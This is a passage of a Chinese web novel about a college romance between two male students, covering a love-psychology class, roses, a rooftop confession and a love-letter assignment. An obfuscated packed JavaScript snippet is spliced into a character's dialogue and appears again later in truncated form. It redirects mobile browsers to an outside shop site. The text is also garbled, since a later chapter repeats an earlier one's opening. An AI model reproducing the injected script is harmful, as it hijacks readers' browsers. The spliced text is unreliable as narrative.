“大家好,我叫宋斯年,今年三十七岁,未婚,身高181厘米,体重78公斤,本科毕业于A大哲学系,硕士毕业于京大心理学专业,博士毕业于牛津大学心理学专业,现任A大心理系讲师……” 宋斯年一本正经介绍自己,台下的学生都哄笑起来。 宁启洄也觉得有意思,这才仔细打量着宋斯年。 宋教授看着比实际年龄要小一些,长相偏儒雅风,平整笔挺的白色西装衬得他身材十分有型,气质非常出众。 介绍完,他开始正式上课。 宋斯年:“现在,各位同学能分别说出一条有关爱情和恋爱的名人名言吗?俗语也可以,不能重复。” “给你们一分钟时间思考,稍后我按学号以此叫人回答。”宋斯年说完这句就收声,坐在椅子上看他们。 时间到了,宋斯年开始点名。 他拿着纸质花名册,摸了摸下巴,“第一位,徐问渠,是出自‘问渠那得清如许’吗?” 徐问渠站起来,挠挠头说是。 宋斯年含笑,“是个好名字,那问渠准备好了吗?” 徐问渠点点头,“窈窕淑女,君子好逑。” 宋斯年笑道:“出自哪里呢?” “《诗经》。” “很棒,下一位,徐清如……你们是兄妹吗,还是姐弟?学号连着,是一个学院的?” 徐清如耳根有些红,她摇摇头,“都不是,我们是一个班的。” “那真巧。”宋斯年笑着点头,“清如想好了吗?” “身无彩凤双飞翼,心有灵犀一点通,出自李商隐的《无题》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223302|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “很棒,下一位同学……” 看着自己搜出来的爱情名句被前面的同学一句句念到,宁启洄目露绝望:为什么他的学号这么靠后?! 脑子里贫瘠的相关知识储备他们都说过了,宁启洄硬着头皮回答,“一位名人曾经说过,‘听不懂的话,一律当秀恩爱’。” 宋斯年一愣,笑道:“哪位名人说的?” 宁启洄:“宁可夫斯基。” 宋斯年:“……?” 见宁启洄表情笃定,他还是笑笑,让他坐下了。 “对了同学,你叫什么?”宋斯年瞥了眼花名册,顿住几秒,突然笑道。 “……宁启洄。” “原来你就是宁可夫斯基。”宋斯年打趣,“咱们班出了位文学家。” 其他同学都笑起来。 宁启洄脸一红,点点头没接话。 旁边落下一声轻笑,宁启洄恶狠狠瞪过去,低声威胁,“不许笑!” 岑柏意立刻绷直嘴角,只是眼里还藏着遮掩不住的笑意。 “……” · 每叫到一位同学,宋斯年就会从教室前后的红玫瑰里抽出一支送给他。 宁启洄也有一朵,玫瑰鲜艳欲滴,仿佛刚从花田里采下来。 他凑近闻了闻,还有很淡的玫瑰花香。 一轮回答完毕,居然真的没有一个重复的。 在宁启洄之后的同学都找不到新的语录,纷纷把目光转移到情书情话上,《加缪情书集》的出场率尤其高,宋斯年也没为难他们,笑着让他们过了。 第二小节课开始,他问了一个问题:“各位同学,你们有没有想过,什么是爱?我是指爱情的爱。” 底下同学低头思考,但没有一个人举手。 宋斯年笑:“这个问题没有标准答案,大家尽管回答。” 台下顿时踊跃发言: “村上春树说,‘爱一个人就是什么都介意,又什么都原谅’。” “爱是对象给我织的围巾!” “爱是你我~”有同学唱出来了。 台下发出阵阵爆笑,甚至有人接歌,“用心交织的生活~” …… “爱的本质是被看见。” 在吵闹的教室里,有一道很轻的声音从身侧传来。 宁启洄侧目,此刻,视线中央只剩下他一人。 而他也正好回眸,两人安静地对视。 岑柏意突然笑道:“是菲利帕·佩里在书中说的。” · 这节课过得很愉快,班上只有三十多个学生,但气氛很好,宋斯年第一节课也没有讲太多理论知识,总的来说,氛围很轻松。 宁启洄猜,下周班上就会坐满人了——他们上过课的回去宣传宣传,肯定会有人闻讯而来选上这门课。 快下课时,宋教授似乎想起了什么,含笑道:“我们这门课有平时作业,需要一位课代表收作业,不知道哪位同学愿意帮我这个忙呢?” 原本这门课是有助教的,但宋斯年的助教很忙,而且他也想和学生更亲近一些,就干脆找一位课代表,平时收收作业就好。 宋斯年环顾教室,举手的同学不少,显然是被宋教授的人格魅力折服了。 宋斯年也不惊讶,笑眯眯看向举手最快的那位女同学,“那就这位同学,你叫什么名字?” 她说她叫于春和。 宋斯年笑意更浓,“至若春和景明,很好听的名字。” 他上前几步,笑着把别在胸前的白玫瑰摘下,递给他“新鲜出炉”的课代表,“谢谢于同学的帮助。” 于春和脸颊红红的,她看着手心鲜艳的白玫瑰,眼睛有些亮。 宁启洄看得啧啧称赞,宋教授还真会收买人心。 他盯着那朵白玫瑰发呆。 岑柏意的关注点却在另外的事情上面,他凝视宁启洄的视线片刻,语气平静开口:“喜欢玫瑰花?” 宁启洄回神,笑道:“谁会不喜欢花。” 岑柏意若有所思地点点头。 宋斯年快要走出教室了,听到这话,他脚步一顿,折回身接话,“除非花粉过敏。” 宁启洄:“……” 岑柏意:“……” 其他同学:“……” 宋教授居然会说冷笑话。 宋斯年摸摸鼻子,“不好笑吗?” 下课铃声响起,他冲同学们挥手,“下周见。” 宁启洄默然,这还是他第一次看到溜得比学生还快的老师。 岑柏意拎起包,“走了,去吃饭。” 宁启洄跟着起身。 两人走到一处花园小径,宁启洄突然想起上学期第一次舞蹈课后,岑柏意背着他从这里走过,还被路过的同学拍了照片发到贴吧。 身侧突然递过来一支红玫瑰,是宋斯年在课上发的,每人一朵。 宁启洄抬头,怔怔地看着他。 岑柏意笑了一下,“不是喜欢花吗?下次我亲自买。” 60.告状 开学了,补课大业继续。 岑念小半个月没见到他家教老师(划掉,准大嫂)了,还真是分外想念。 他叽叽喳喳问个不停,一会说他哥跨年有没有什么表示,一会又温那幅画是不是他画的。 问题多得十万个为什么都写不完。 “嘘——” 宁启洄拿出一张数学试卷,强行封印了他。 上完课,宁启洄照例在他家吃饭,今天岑柏意也跟着回来了。 吃过饭,宁启洄坐在沙发上陪夏玥——来的次数多了,他现在很熟很放松。 他边吃水果边和夏玥聊学校里的事情。 十八岁,正是记仇还爱告状的年纪。 宁启洄上完课,悄咪咪凑到夏玥旁边,跟她小声嘀咕:“夏姐你不知道,岑柏意在学校可受欢迎了,情书受到爆~” 夏玥笑得面膜都要掉了还得按着,她扭头对岑柏意说:“你看人小宁,那才是正常大学生该有的样子,青春活泼开朗大方,再看看你,跟个闷葫芦似的。” “……” 岑柏意眼神复杂:妈,你怕是对宁启洄有什么误解。不对,你怕是对大学生有什么误解。 他就是再喜欢宁启洄,也没办法睁着眼睛说瞎话,只能用沉默维持最后一点对宁启洄的爱护。 吃过饭,宁启洄就留在了他家——据岑柏意的说辞是,买了那么多衣服留在他家,不穿浪费了。 当时逛街,岑柏意也确实买了好几套睡衣,连带着给他自己也买了同款。 不穿确实浪费了,宁启洄想,他便给寝室里的两人发了消息。 【精血310】 【岁岁平安】:我今晚不回来了。(团子蹲蹲.jpg) 【二月花】:??? 【二月花】:不是你等等??? 【二月花】:你去鬼混不带我? 【cby】:在我家,你要来? 【二月花】:不了不了你们随意。(土遁·下线之术.jpg) 寝室里安静一瞬,林枫晚扭头,眼神瞬间邪恶,“我今天一定要反攻!” 江千陵斜眼笑,“腰不痛了?” 林枫晚:“……”你这样讲话就很没意思了。 自从第一次被压了之后,林枫晚就一直在试图反攻,然后每次都失败,被折腾得腰酸背痛,由这人给他揉腰,然后扬言下次继续反攻。 这边,宁启洄看着林枫晚瞬间狗腿的话,直接气笑了。 他轻车熟路摸上楼,打开他那间客卧,里面已经是他离开时的模样,看得出来有请阿姨打扫过——这是岑柏意征求过他意见的事情,显然把他当成别墅里的一份子了。 宁启洄视线扫过床上,眼神突然定住。 床上放在一只可爱的棕色小熊玩偶,小熊坐在床的正中间,短短的胳膊捧着一束不大但数量不少的红玫瑰。 宁启洄心跳莫名乱了几分,他走前拿起玫瑰,只想去找岑柏意问问,他是什么意思 红玫瑰,红玫瑰不是表白的时候才有的吗。 刚下楼,没想到几人都在客厅,听到声响,都看了过来。 宁启洄:“……” 夏玥眼睛微微睁大,笑道:“噢,我说小意下午怎么去取花了,原来是送给你啊……” 越说声音越小,她轻轻蹙眉,是不是哪里不对劲,她儿子给她舍友送花,还是送红玫瑰? 客厅里陷入诡异的沉默,岑为宥此刻已经在国外了,不然现在肯定指着玫瑰花说,他就知道他猜得没错! 可惜他并不在,客厅里只有她和她两个儿子已经大儿子的舍友。 或者说,两位当事人和一架成熟的僚机。 岑念轻车熟路开始找补,“妈,我同学家里开花店的,玫瑰没卖完让我们帮忙处理一下,我哥就拿了束玫瑰回来。” 说着,变戏法似的从某个角落拿出一捧花,也是他哥提前买了要送给夏女士的。 “喏,也给你拿了一束,开心吧?”岑念笑嘻嘻的。 夏玥心里微微一松,接过花点点头,目光温柔,“小宁喜欢玫瑰花吗?花园里正好有种,过阵子就会开,有空可以去看看。” 宁启洄点点头,捧着烫手山芋一样的玫瑰又溜上楼。 原来是卖不掉了才拿回来的花啊,两兄弟一看就像是喜欢花的,送给他和夏女士也正常。 他还以为,他还以为岑柏意有什么别的意思呢,看来是他想多了。 就在这时,岑柏意拿着一套睡衣走进来——宁启洄的衣服现在还都挂在他的衣柜里,毕竟客卧没有衣柜。 这是一套深蓝色的睡衣,他自己身上也穿着一套一模一样只是大一码的衣服。 “放那吧。”宁启洄缓了缓有些尴尬的心思,扬了扬下巴,撩起衣服下摆准备脱,突然发现岑柏意并没有要走的意思。 “怎么了?” 岑柏意眼前晃过一片白,又很快被衣物遮住。 他看了宁启洄几秒,突然笑,“刚才是在和我妈告状?” “什么告——”宁启洄身形猛地一顿,刚才光顾着发泄小情绪,完全没考虑到夏玥听见会怎么想。 他是不是表现得特别像不受宠的正宫娘娘,为了皇帝身边的莺莺燕燕烦心,跑去给皇太后告黑状——皇太后只会怪他不懂事。 夏玥该不会觉得他和岑柏意有什么吧?! 天呐,这是什么莫名其妙的宫斗剧。 啊—— 想着,宁启洄不小心把心里话说出来了。 闻言,岑柏意一愣,笑容扩大,他说:“不会。” 不会什么,皇太后不会误会他了? 那真是太好了! 宁启洄美滋滋拿着衣服去浴室,就听岑柏意淡淡地声音从身后传来:“不会不受宠,也不会有莺莺燕燕,我妈更不会误会。”误会什么,迟早要变成真的。 宁启洄被噎了一下,半晌,他赞了一声,“那你还真是位明君。” 岑柏意:“……”他就知道。 唉。 他叹气,继续道:“花是特地卖给你的。”并不是什么清仓处理。 宁启洄目露迟疑,“那……” 岑柏意:“夏女士那一束是为了以防万一,特殊情况特殊对待。”特殊情况这不就出现了,他的两手准备果然没错。 并不是他不给夏女士买,而是这束花的含义比较特殊,如果同时送了,宁启洄可能并不会意识到什么——当然,最终还是一起送了,他只能自己来讲。 他原本的计划是今天给宁启洄送了,明天再给夏女士送一束,这样互相不知道,和谐美好。 宁启洄微微瞪大眼,又想到岑念那信口胡诌的本事,有些沉默。 确实,如果当时岑念不救场,怕死夏女士真的会看出什么不对劲来 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——他不能搬寝室,毕竟林枫晚要陪他对象,大概率也不会搬,他自己搬出去多没意思。 唉,算了,船到桥头自然直。 —— 第二天一早,两人吃过早饭就回寝室了。 有许多专业课老师是带一整个学年,因此一开学作业就不少。 宁启洄忙了好些天,有时候岑柏意不在,他连饭都顾不上吃。 终于有一天下午熬不住了,胃疼得趴在桌子上发抖。 林枫晚正要把他送到医院,只见岑柏意先他一步,背起他往校门口赶。 江千陵把他拉住了,“有岑哥在,放心。” 看完医生,只是普通的胃病,平时注意着养养就好了。 岑柏意松了口气,“以后要按时吃饭。” 觑着他不太好看的脸色,宁启洄哪里还敢说什么,乖乖点头。 回了宿舍,宁启洄突然有点饿了,他眼巴巴看着岑柏意,“我想喝粥,粥明堂家的瘦肉粥。” 粥明堂在A市以卖粥和药膳汤锅出名,但这家不做外卖,只能去店里吃。 他现在就是很想喝那家的瘦肉粥,黏黏糊糊的粥底,米香融合了香甜的肉味,他每次去都能吃一大碗。 “医生说,胃病要少喝粥。”岑柏意拧眉。 宁启洄半阖着眼躺在床上,表情有些委屈,他想,刚开学就忙得饭都吃不上,现在喝碗粥都不行。 就很难受。 岑柏意捏了捏眉心,无奈叹气,生病的宁启洄还真是磨人。 不过他也愿意去照顾他。 “只能喝一小碗,我现在去给你买。”岑柏意说着,拿了外套出门,没走几步又匆匆折返,“他有什么需要的你们帮下忙。” 江千陵嘴角一抽,是胃疼又不是瘸了,岑哥这是拿人当小宝宝呢。 不过他还是点头说好。 岑柏意一离开,林枫晚就扒拉着宁启洄床头,“阿宁你有没有事?” 宁启洄虚弱睁眼,默默和他对视:我都躺床上了,你觉得呢? “……”看来是有事。 林枫晚叽叽喳喳说个不停,虽然有点吵,但宁启洄的注意力总算被转移开了,不再只关注胃部的不适。 61.玫瑰 最终,这碗瘦肉粥还是喝上了。 宁启洄喝了一小碗,其余的全进了其他三人肚子里。 —— 转眼到了情人节,从上早八开始,宁启洄就在计划要不要今天跟岑柏意表白。 直到晚上,他突然怂了——他想起过年宁先生和外公对苏绍庭“出柜”的反应,他觉得自己会被打断腿的。 宿舍其他两位早就出去浪荡了,毕竟四点以后就没课了。 宁启洄正要把提前预定的花给取消,就听店主说已经快送到了。 快到了,那就到了吧。 看哪位有缘人能捡到那束花了吧。 宁启洄怂得一逼,都不敢去取花。 寝室里安静得有些过分,连岑柏意平时敲键盘的嗒叭声都没有。 宁启洄心里惴惴不安打了把游戏,一锤子敲出一个加刚特尔时,他悬着的心终于死了。 就在这时,岑柏意接了个电话,突然起身离开了宿舍,他这才松了口气。 寂静的寝室里,宁启洄纠结地皱眉。 谈恋爱哎,今天到底要不要表白啊,但是在一起了宁先生会反对的吧,而且岑柏意的父母说不定也不会支持。 宁启洄在脑海里大致设想了一下,如果岑柏意的家人知道了他们谈恋爱的事情,会是什么样的反应。 夏玥满脸失望地指责他:“小宁老师,你叫我一声夏姐,我把你当老师,你想当我儿媳妇?!” 岑为宥:“小宁啊,按道理说我和你外公差点就成拜把子兄弟了,你得叫我一声岑爷爷,现在你当我儿媳妇,那你得管自己叫婶婶。” 估计只有岑念是兴奋的:“嫂子,今天少做套卷子行不行?” 宁启洄无奈叹气,说不定岑柏意还不喜欢自己呢。 他很悲催地发现,两人都没有直接表现出喜欢对方的迹象,这样表白肯定会失败的啊! 一向叛逆的宁启洄难得瞻前顾后,他纠结地啃指甲,眉头拧得能夹死一窝苍蝇。 寝室门开了,岑柏意抱着两大束玫瑰花回来,一束红色的,一束白色的。 宁启洄瞳孔震颤,这人,这人才出去几分钟就收到这么多花了?! 这两束花居然还来自同一家店! 难道说追求者们知道岑柏意喜欢这家店的花? 那他那束红玫瑰岂不是大成功! 哎等等,这束红玫瑰有点眼熟…… 岑柏意眨眼,把花搁在桌子上,“听见送花小哥和店主说什么买红玫瑰的宁先生,我就看了看外卖单,果然是你买的,顺手就拿上来了。” “!!!” 果然是他的吗! 捡花的有缘人出现了! 宁启洄咽了咽口水,继续问:“……那白玫瑰呢?” “这个啊,”岑柏意想了想,说,“这原本是要送给你的。” 宁启洄:“!!!” 送给我! 玫瑰花!! ……不对,原本? 他强装镇定道:“然后呢?” 岑柏意观察了一下他的表情,突然笑道:“既然岁宝订了花,那我就自己留着吧。” 宁启洄:“……” 哎不是,能不能再商量一下。 他觉得他还是比较想要这束花的。 他不知道,他正纠结的时候,岑柏意也在观察他的神色。 “买了花是要送人?”岑柏意状似无意问道。 宁启洄下意识摇头,又对上岑柏意幽深的视线,硬着头皮点头说是。 岑柏意没再问送花做什么,情人节,送花显然是表白的。 至于送给谁…… 两人静默几秒,岑柏意突然说:“和我去个地方吗?” —— 岑柏意把他叫去了天台,四周一片漆黑,夜晚风很大。 宁启洄看着岑柏意隐入黑暗的脸,不合时宜地觉得,这很像抛尸现场。 他乐观地想,起码他里边缘很远,掉不下去。 也许是和岑柏意带着很放松,也许是黑夜给人以某种安全感,他这样想着,不由自主把心里话说了出来。 岑柏意:“……” 他轻声,“岁宝的想象力真丰富。” 这种时候就不要说这样破坏气氛的话了好吗? 宁启洄羞涩低头,视线停留在手里的红玫瑰上。 岑柏意手里也还捧着那束白玫瑰,静静地看着宁启洄。 安静了很久,宁启洄忍不住开口:“岑总,把我叫上来是……” 岑柏意:“岁宝我喜欢你,当我男朋友吧。” 宁启洄:“!!!” 这么劲爆的吗,上来就表白。 不愧是他岑总,就是猛。 宁启洄被他过于凶猛的表白冲击得一愣,没给任何反应,只是呆呆地看着他。 岑柏意心如鼓擂,他垂眸,眼神认真地盯着宁启洄,“跟我在一起吧,我不怎么会说话,但我一定会对你好的。” 宁启洄心脏猛地一跳,像是被丘比特的爱情之箭射中了一般。 他脸色爆红,不知道自己该说些什么,点点头又摇摇头,胡乱应答几声。 岑柏意轻笑,伸出手指定住他的唇,“这是答应了?” 声音很沉,带着低低的笑意,听得宁启洄耳朵都酥了。 他咽咽口水,“对,对,我答应了。” 岑柏意又笑了一下,眼睛笑得弯起。 他把手里的白玫瑰递给了宁启洄,礼尚往来,宁启洄也把红玫瑰给了他。 宁启洄嘟囔:“表白不都送红玫瑰吗,你买白玫瑰做什么。” 他只是随口一说,没想到岑柏意很认真地回答:“上次恋爱心理课,你一直盯着宋教授给于春和同学的白玫瑰,我觉得你会喜欢。” 宁启洄:“……?” 是吗,他怎么不记得了? 不过他心里还是甜滋滋的,岑柏意一直在关注他。 夜风吹过,宁启洄抬头,看见岑柏意慢慢俯身,离他越来越近…… 宁启洄下意识闭上眼睛,等了片刻,就见岑柏意把外套脱下披在他肩头,周全地拢了拢。 原、原来不是要亲嘴啊…… 被岑柏意气息包裹的宁启洄有些遗憾地想,电视里都是这么演的,怎么岑柏意就不亲呢。 不对,他们刚在一起,他这么想是不是有点不太矜持? “天台风大,我们回去吧。”岑柏意柔声道。 宁启洄定神,跟着他下楼了。 走在楼梯上,岑柏意突然回头,挑眉看他,“那我们现在是……”什么关系。 “护花使者。”宁启洄看着两人手里都抱着一捧花,想象力开始发散。 这场景怎么看怎么诡异好吧,这是什么捧花交换现场吗。 岑柏意:…… 行吧,护着你这朵花。 —— 在一起之后的生活和之前几乎没什么变化,小手也不牵,小嘴也没亲。 宁启洄看 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有男生调侃他,“朗哥,说说呗,咋追到嫂子的?” “没大没小,叫师娘。”石云朗笑骂一句。 其他人跟着起哄,“噢噢噢!教教呗朗哥,我也想谈对象!” 宁启洄默默挺直腰杆:我有对象了! 他拆了颗大白兔奶糖,塞进嘴里,奶糖慢慢融化,甜滋滋的。 石云朗晃晃腿,露出一口大白牙,“行啊,先热身,颠球两百下,我就给你们讲讲。” “啊↓啊↑啊——” “补药啊朗哥!” 哀嚎遍布羽毛球场,石云朗还是笑,让助教带着他们先去热身。 等把学生都“折磨”一遍之后,石云朗优哉游哉吃颗糖,看着坐在地上喘气的众人,笑道:“我和我老婆啊,是大学同学来着,彼此的初恋……” 接下来,石云朗全方位多角度向他的学生阐释了他是如何追到他老婆的。 当他开始说去游乐园买气球冰激凌和坐摩天轮的时候,宁启洄还能说服自己,这是谈恋爱的基操。 但当石云朗说到情人节送玫瑰花,但是最后又欲擒故纵没给出去,把人约上天台表白的时候,宁启洄有点坐不住了。 耳熟,就是很耳熟。 石云朗:“最后,我跟我老婆说,‘跟我在一起吧,我不怎么会说话,但我一定会对你好的!’,她感动得哭出来,就答应我了。” 一个字不差,估计标点符号都是照抄的吧,好得很。 宁启洄深吸一口气,环视四周,看有没有大二的学生来上体育课。 准确的说,是看岑柏意这时候在不在体育场上。 环视一圈,没捕捉到那个高大挺拔的身影,宁启洄没什么表情地勾起唇角。 离他最近的林枫晚心里发毛,悄悄给江千陵问,他们到底在一起没,怎么阿宁这表情跟要谋杀亲夫当鳏夫似的。 有同学好奇问道:“朗哥,师娘没生气啊?” 石云朗笑笑:“你懂什么,这叫情.趣,而且最后补偿了别的。” “哦哟哟~” “可以啊朗哥。” 其他同学都在调侃石云朗,只有宁启洄笑不出来。 他抬头看看了天空,艳阳高照,晴空万里。 今天天气很好,适合当岑柏意的死期。 62.情书 时光转瞬即逝,学期过了大半。 在四月中旬的某一节恋爱心理学课上,宋斯年带来了一个大纸箱,里面有几十份粉蓝色的信封和信纸。 宋斯年含笑,“麻烦春和同学来发一下信纸,还有哪位绅士愿意帮忙发信封吗?” 宁启洄拿到信封,信封口处别了一片干花瓣,他好奇地凑近闻了闻,有一股淡淡的花香。 宋斯年看见,笑道:“是特殊处理过的干花,不会坏的。” 见每人手里都有一张信纸和信封,宋斯年清清嗓子,推了推银丝边框眼镜,“今天这堂课的主题是——情书。” “学期过去大半,现在我统计一下,班上有多少同学脱单了?举手我看一下。” 周围稀稀拉拉举起几只手,有两位女生还脸红了,不太好意思承认,旁边有人小声起哄,气氛很好。 宁启洄瞥见岑柏意跃跃欲试的动作,一把给他按住,低声威胁:“不许举。” 哼哼,他还没原谅他呢。 岑柏意无奈,点头说好,在他手撤离之际,用拇指轻轻蹭了蹭他的手背。 略带薄茧的指腹蹭过细腻光滑的手背皮肤,像是小蚂蚁在噬咬,酥酥麻麻的。 “!!!” 宁启洄狠狠一瞪,不说话。 宋斯年数完举起的手,感到有些意外,居然才这么点人。 现在的大学生都不谈恋爱吗? 他们平时都在干什么? 宋斯年把自己的疑问问出来,同学们来劲了,纷纷踊跃回答: “干饭啊!想中午吃什么晚上吃什么!火锅烧烤麻辣烫,我踏马吃吃吃!” “很累,每时每刻都在累,回寝室倒头就睡,我的床永远都不会背叛我,床真好。” “整点小酒喝喝,当emo哥。” “打游戏!我要当×批!手机真好玩嘿嘿……” “看美女跳舞帅哥擦边嘿嘿嘿嘿……” 听到大家五花八门毫不搭边的回答,宋斯年没忍住笑了两声,无奈摇头,“大学不谈一场轰轰烈烈的恋爱怎么行?脱单的同学学期末可以找我拿一只玫瑰。” “这堂课主要关于情书,现在,我给你们两节课的时间,请务必认真构思要对如今或者未来的伴侣想说的话,想一想你要表白的时候,会说什么。” “我真心希望大家能认真思考,用心写出一份,就算是对未来的希望,而不是用电子设备去百度。”宋斯年无奈笑笑。 “当然,不会写的字搜一搜倒是可以,毕竟A大学生写情书用拼音还是有点影响招生工作……也影响学长学姐们就业。” 台下发出一阵哄笑。 宋斯年说完,坐在椅子上撑着下巴看他们,似乎是完全不准备再讲点什么了。 宁启洄小声吐槽:“真的不是在水课吗。”感觉这堂课学下来也谈不上恋爱啊。 想着,斜觑了眼岑柏意,内心遗憾。 这人怎么还不开始追他呢。 都给他等着急了。 岑柏意没忍住轻笑一声,附和着点头。 发呆四处看不小心瞥见的宋斯年:“……” 你们有点暧昧了同学。 还有点不礼貌。 似乎是没上过这么有趣的课,同学们都很配合地思考着,没有一个人碰电子设备。 教室里安静极了,所有同学认真地看着桌上的信纸,似乎在思考要写什么,偶尔有几位已经拿起笔开始写了,黑色圆珠笔在信纸上舞动,发出簌簌的声音。 宁启洄无意识转着指尖的笔,思索该写点什么。 写情书应该和写信差不多…… 【亲爱的岑柏意先生(划掉)小哥(划掉)兄台(全部划掉) 亲爱的姐夫: 你好!】 嘿嘿,刺激! 宁启洄看着信纸上感觉漂亮但占了大半行的称呼,叹了口气。 感觉哪里不太对啊。 一般情书是这么写的吗? 宁启洄长得好看,青春期叛逆得不行,是小女生会喜欢的坏坏男孩,情书收了不少,男生女生的都有,但他一封都没拆开过,也不知道情书的模板是怎样的。 现在,他居然要亲自写一封情书。 头大。 宁启洄想了想,继续写: 【今天,宋教授让我们写封情书,我不会写,于是我充分发挥高中二十分钟画一篇作文的手速开始编,反正最后收信的肯定是岑柏意(A大计算机一班岑柏意,同名同姓的不算嗷),你肯定能理解我的对吧岑总(划掉)姐夫? 我怀揣着激动地心开始写(划掉),我万分沉痛地告诉你,这个时候你还没有追到我,不过不要紧,有情人终成眷属。】 好好的一封情书,跟狗蛋儿穿了四五年的开裆裤似的,全是补丁。 宁启洄看着黑色的笔迹,轻轻叹气,继续往下写——毕竟这么大张信纸,就写一小半不太好看。 【我对你的初印象是高冷帅气的酷盖,后面混熟了,我发现你是个内心柔软的好小伙! 虽然江千陵用你的照片网恋,但你也没有生气(起码我没听说这样的消息),而且最终收获了我这样英俊帅气的男朋友,所以他也算是大功一件……扯远了,总之,我男朋友(划掉)准男朋友是一个很热心肠很温柔的人。 第一次在你家发烧的时候,我觉得你简直是天使!虽然这个天使早上醒来抱着我起反应了……慢着,天使姐夫你是不是那个时候就对我有心思了?有前途。 我对你动心,估计是同人文看多了,但不只是因为这个,很可能有你厨艺的功劳。哈哈开玩笑啦,纯看脸()】 宁启洄看了一会,发现这完全是自己“罪行”的自白书,把自己喜欢上岑柏意的整个心路历程全写上了。 看到那次“尿床”的经历,宁启洄默默捂脸,很想凭空长出delete来删除。 可惜,现代实体信纸并没有发展出如此高级的按键,他按着右上角的玫瑰花图案,三秒后,果然没有任何反应。 叹气。 回忆录写得差不多了,宁启洄准备润色一下,毕竟未来可能要给岑柏意看的。 半晌,他思绪一顿,停下来。 手里圆珠笔越转越快,突然,原本就没怎么盖紧的笔帽砰地一下飞了出去,直直砸中岑柏意的下巴。 “……” 宁启洄略带内疚:“……抱歉。” 岑柏意十分宽容:“我原谅你。” “……谢谢。” 宁启洄无话可说。 像是想起什么似的,语气恶狠狠道:“自己写,不许再抄别人的!” 他都是自己写的,虽然…有点拉胯吧。 留有前科的岑柏意举起三根手指发誓,“我保证一定自己写,如果你想,我还可以用英法德三国语言给你写不重样的情书。” 普通话系统有时都会紊乱的宁启洄:“……倒也不必。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253001|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >时间一分一秒过去,所有人都沉浸在情书的世界里。 到了快下课的时候,大家都有些躁动了,玩手机的玩手机,聊天的聊天。 宁启洄在思考怎么结尾,总不能真写个此致敬礼,虽然很尊敬礼貌,但多少有点不尊重他俩隐晦的爱情了。 他想了想,抬笔写: 【相信这个时候你已经是我男朋友了,如果不是,请你继续努力。 反正,我就是喜欢你。 ——超级无敌宇宙第一爆炸炫酷大帅比留(你排第二,够意思吧:P】 宁启洄画完最后一个图案,放下笔,冲信纸吹口气,满意至极。 他想,他真是个情书小天才。 宋斯年看了眼手表,缓缓开口: “最后,请大家把手放在信封上,闭上眼睛,感受你写情书时的心跳悸动。”宋斯年微笑看他们,“让这份心动延续至午后吧。” 宁启洄发动吐槽技能,小小声,“然后在食堂含情脉脉地亲吻鸡腿?” 宋斯年:“……” 同学,你话真的有点密了。 宁启洄默默闭嘴,闭上眼,脑海里想的全是岑柏意。 过了几秒,他悄悄睁眼,侧目对上岑柏意温柔的视线。 宁启洄眨眼示意:……你怎么不闭眼? 岑柏意似乎没读出来他的意思,只是笑着看他。 铃声响起,大家收拾包起身去吃饭,下午又是满课,宁启洄居然没找到合适机会问他。 晚上没课了,林枫晚买了烤串。 几人在寝室里边吃烤串边聊天,说着说着就又聊到上午的那趟恋爱心理课,宁启洄还是觉得奇怪,又偷摸看了岑柏意一眼。 宁启洄:“你为什么看我?” 岑柏意挑眉笑道:“现在是你在看我。” 宁启洄:“……你知道我在说什么。” 两位圈外吃瓜猹默默注视,感觉好像进入了什么不得了的磁场。 虽然不知道发生了什么,但总觉得离开会错亿啊。 这,留也不是走也舍不得啊。 等了很久,310寝室里依旧很安静。 岑柏意凝视宁启洄很久。 猹一号林枫晚小心翼翼出声:“咱,瓜还吃吗?” 一旁的江千陵迅速怼了他一下,怼得他身形一晃。 瞎说什么大实话呢!也不怕被人听见。 猹二号江千陵小心翼翼看了眼岑柏意。 被三双眼注视的男生瞥了他们一眼,突然掏出手机敲敲,电子键盘的麻将音噼里啪啦响起。 宁启洄:“……?” 现在就已经光明正大无视他了?这以后还得了。 就这还追他呢,都快给他气死了。 宁启洄莫名又生气了,脸颊鼓了鼓,又瘪下去。 突然,他的手机滴滴响了两声,是微信消息。 是有什么不能当面说的,神神秘秘。 宁启洄突然明白了什么,怔了一下,随即迅速掏出手机看。 他的手指有点抖,误点进七百CP文发源地。 看到首页的【化形仓鼠×兽语宿主】的标签,宁启洄被呛了一下,急忙退出来,点了微信。 岑柏意的消息在最上面,头像不知道什么时候换成了龙猫小汤圆,小汤圆头顶搭着白皙的指尖,指甲泛着淡淡的粉色。 ——是宁启洄的手。 【cby】:我在感受心动的瞬间,岁宝。 63.情书 时光转瞬即逝,学期过了大半。 在四月中旬的某一节恋爱心理学课上,宋斯年带来了一个大纸箱,里面有几十份粉蓝色的信封和信纸。 宋斯年含笑,“麻烦春和同学来发一下信纸,还有哪位绅士愿意帮忙发信封吗?” 宁启洄拿到信封,信封口处别了一片干花瓣,他好奇地凑近闻了闻,有一股淡淡的花香。 宋斯年看见,笑道:“是特殊处理过的干花,不会坏的。” 见每人手里都有一张信纸和信封,宋斯年清清嗓子,推了推银丝边框眼镜,“今天这堂课的主题是——情书。” “学期过去大半,现在我统计一下,班上有多少同学脱单了?举手我看一下。” 周围稀稀拉拉举起几只手,有两位女生还脸红了,不太好意思承认,旁边有人小声起哄,气氛很好。 宁启洄瞥见岑柏意跃跃欲试的动作,一把给他按住,低声威胁:“不许举。” 哼哼,他还没原谅他呢。 